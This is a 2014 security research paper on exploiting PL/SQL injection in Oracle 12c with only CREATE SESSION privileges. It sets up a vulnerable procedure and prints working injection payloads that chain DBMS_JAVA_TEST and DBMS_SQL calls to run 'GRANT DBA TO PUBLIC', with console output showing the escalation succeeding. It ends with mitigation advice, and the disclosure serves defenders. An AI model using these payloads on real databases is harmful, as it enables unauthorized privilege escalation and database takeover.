# Exploiting PL/SQL Injection on Oracle 12c

# with only

# CREATE SESSION privileges

David Litchfield [david.litchfield@datacom.com.au]

21st May 2014

**Introduction**

The ability to execute arbitrary SQL on Oracle is limited by the fact that Oracle, unlike Microsoft SQL Server, will not execute batch queries. It's not possible, for example, to tack on a "GRANT DBA TO PUBLIC" to the end of a SELECT statement. In order to execute truly arbitrary SQL, an attacker needs to insert an auxiliary inject function [1] into the statement. This function effectively executes the attacker's SQL. If an attacker has the CREATE PROCEDURE privilege then they can create their own auxiliary inject function and use this but if the user only has the CREATE SESSION privilege, the bare minimum needed to connect to the database server, then they need to find an extant function. On previous versions of Oracle there were a number of functions that could be used for this task and are discussed in [2][3] and [4].

Up until recently it was possible to use the DBMS_XMLQUERY.NEWCONTEXT function [5]:

```
EXEC SYS.VULNERABLE_PROC('FOO''||DBMS_XMLQUERY.NEWCONTEXT(''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''';
END;'')||''BAR');
```

However, in Oracle 12c this no longer works (As a side note, it no longer works in recently patched versions of 11gR2 either). Indeed all the functions previously known to work as auxiliary inject functions have been fixed. As such a new method is required to execute arbitrary SQL on Oracle 12c.

Before we begin, let's consider our vulnerable procedure; its source code is below.

```
SQL> CONNECT / AS SYSDBA

Connected.

SQL> CREATE OR REPLACE PROCEDURE VULNERABLE_PROC (P VARCHAR) IS

  2  N NUMBER;

  3  BEGIN

  4  EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM ALL_OBJECTS WHERE

      OBJECT_NAME = ''' || P || '''' INTO N;

  5  DBMS_OUTPUT.PUT_LINE(N);

  6  END;

  7  /

Procedure created.

SQL> GRANT EXECUTE ON VULNERABLE_PROC TO PUBLIC;

Grant succeeded.
```

```
SQL> SET SERVEROUTPUT ON

SQL> EXEC VULNERABLE_PROC('ALL_OBJECTS');

2

PL/SQL procedure successfully completed.

SQL> EXEC VULNERABLE_PROC('FOO''BAR');

BEGIN VULNERABLE_PROC('FOO''BAR'); END;

*

ERROR at line 1:

ORA-00933: SQL command not properly ended

ORA-06512: at "SYS.VULNERABLE_PROC", line 4

ORA-06512: at line 1
```

As we can see the procedure called VULNERABLE_PROC is vulnerable to SQL injection. Without the ability to create a procedure, find an auxiliary inject function or devise a new method of attack this would be unexploitable.

### Achieving arbitrary SQL execution

Building on the author's previous work [2][4] and using DBMS_SQL and DBMS_JAVA_TEST, it is possible to chain multiple function calls together to achieve the execution of arbitrary SQL. It is a somewhat convoluted attack, but before explaining it, here it is:

```
SQL> connect c##david/password

Connected.

SQL> set role dba;

set role dba

*

ERROR at line 1:

ORA-01924: role 'DBA' not granted or does not exist

SQL> exec sys.vulnerable_proc('AA''||dbms_java_test.funcall(''-setprop'', ''
'', ''user.language'',dbms_sql.open_cursor) ||
dbms_java_test.funcall(''-set_output_to_sql'', '' '', ''dbout'', 1, ''call
```

```
dbms_sql.parse(to_number(dbms_java_test.funcall(''''-getprop'''', '''' '''',
''''user.language'''')), ''''declare pragma autonomous_transaction; begin
execute immediate '''''''grant dba to public''''''';
dbms_output.put_line(user''''||:1||''''); end;'''',2)'', ''TEXT'', null, null,
null, null, 0, 7) || dbms_java_test.funcall(''-runjava'','' '',
''oracle.aurora.util.Test'','''','''')
||dbms_sql.execute(dbms_java_test.funcall(''-getprop'', '' '',
''user.language''))||''AA');

PL/SQL procedure successfully completed.

SQL> set role dba;

Role set.
```

Here's what's happening – the colour coding should help distinguish separate steps of the attack

1. Open a cursor using DBMS_SQL.OPEN_CURSOR
2. Store the cursor for later use using DBMS_JAVA_TEST with "setprop" parameter. We use the "user.language" property as PUBLIC has the privileges to set it. If we used another property an access denied is thrown if the vulnerable procedure is not owned by a DBA.
3. Use DBMS_JAVA_TEST.FUNCALL with SET_OUTPUT_TO_SQL to set up the SQL wrapper. The wrapper will retrieve the cursor by calling DBMS_JAVA_TEST with the "getprop" parameter and pass it to the DBMS_SQL.PARSE procedure and parse the SQL payload
4. Trigger java output by calling DBMS_JAVA_TEST with "runjava" parameter. This causes the server to execute the wrapper SQL. This sets up the payload ready for execution. (The Java must not cause an exception otherwise execution will stop)
5. Retrieve the cursor again by calling DBMS_JAVA_TEST with "getprop" and pass it to DBMS_SQL.EXECUTE.
6. Call DBMS_SQL.EXECUTE and pass it the cursor. This will execute the payload SQL.

The same technique can be used to exploit SQL injection flaws in web based applications. Indeed, this method was developed during a recent penetration test on an Oracle 12c environment and the "old" attacks failed to work. This led to the birth of this "monstrosity".

**Preventing abuse**

By revoking the execute permission on DBMS_JAVA_TEST from PUBLIC this will help prevent its abuse. The same must be done for the DBMS_JAVA package because it internally calls DBMS_JAVA_TEST and thus acts as a wrapper. Revoking public execute permissions on

DBMS_SQL is not advisable as it could affect core functionality of the database server. If Java is not actively being used by the database's applications it should be removed. This prevents this attack and also addresses many more security issues by reducing attack surface.

**References**


[1] http://www.davidlitchfield.com/plsql-injection-create-session.pdf

[2] http://www.davidlitchfield.com/cursor-injection.pdf

[3] http://www.davidlitchfield.com/ExploitingPLSQLinOracle11g.pdf

[4] http://www.davidlitchfield.com/HackingAurora.pdf

[5] https://www.corelan.be/index.php/2012/03/15/blackhat-eu-2012-day-2/